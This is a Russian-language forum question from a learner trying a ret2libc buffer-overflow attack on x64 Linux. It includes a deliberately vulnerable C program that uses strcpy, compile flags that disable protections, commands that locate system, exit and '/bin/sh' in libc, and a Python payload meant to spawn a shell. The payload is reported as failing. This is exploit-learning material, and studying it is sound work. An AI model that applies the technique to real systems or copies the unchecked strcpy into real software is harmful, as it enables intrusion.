Ошибка сегментации ret2lib c из GDB x64 - PullRequest
0 голосов
/ 26 марта 2020

Я пытаюсь изучить технику атаки переполнения буфера ret2lib c c. Поэтому, как новичок в этой технике c, я столкнулся с «Сегментацией», когда попытался выполнить свою полезную нагрузку. Внутри GDB я не получил ошибку сегментации, но все равно у меня нет запущенной оболочки Подробнее см.

Мой уязвимый код приложения:

#include<stdio.h>
#include<string.h>

void evil(char* input)
{
    char buffer[500];
    strcpy(buffer,input); //Vulnerablefunction!

    printf("Bufferstored!\n");
    printf("Bufferis:%s\n\n",input);
}

int main(int argc, char** argv)
{
    evil(argv[1]);
    return 0;
}

Чтобы скомпилировать код, я использовал следующую команду:

gcc -o ret2libc ret2libc.c -fno-stack-protector -no-pie -Wall -z relro -z now -z noexecstack

Checkse c info:

enter image description here

ASLR ON :

enter image description here

Получение lib c ' system ':

readelf -s "/lib/x86_64-linux-gnu/libc.so.6" | grep "system"

enter image description here

Я беру адрес памяти: 0x0000000000046ed0

Получение lib c ' выход ':

readelf -s "/lib/x86_64-linux-gnu/libc.so.6" | grep "exit"

enter image description here

Я беру адрес памяти: 0x000000000003c720

Получение " / bin / sh":

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

enter image description here

Я беру адрес памяти: 0x183cee

Чтобы найти базовый адрес lib c Я использую следующие команды:

enter image description here

Я беру адрес памяти сс: 0x00007ffff7dee000

Маленькая математика:

enter image description here

Моя полезная нагрузка:

python -c 'print "A" * 520 + "\xd0\x4e\xe3\xf7\xff\x7f" + "\x20\xa7\xe2\xf7\xff\x7f" + "\xee\x1c\xf7\xf7\xff\x7f"'

Когда я запускаю свою полезную нагрузку внутри GDB, я получаю:

enter image description here

Когда я пытаюсь выполнить полезную нагрузку во второй раз, не выходя из GDB, я получаю:

enter image description here

Выполнение полезной нагрузки вне GDB:

enter image description here

Спасибо заранее всем, кто может помочь

...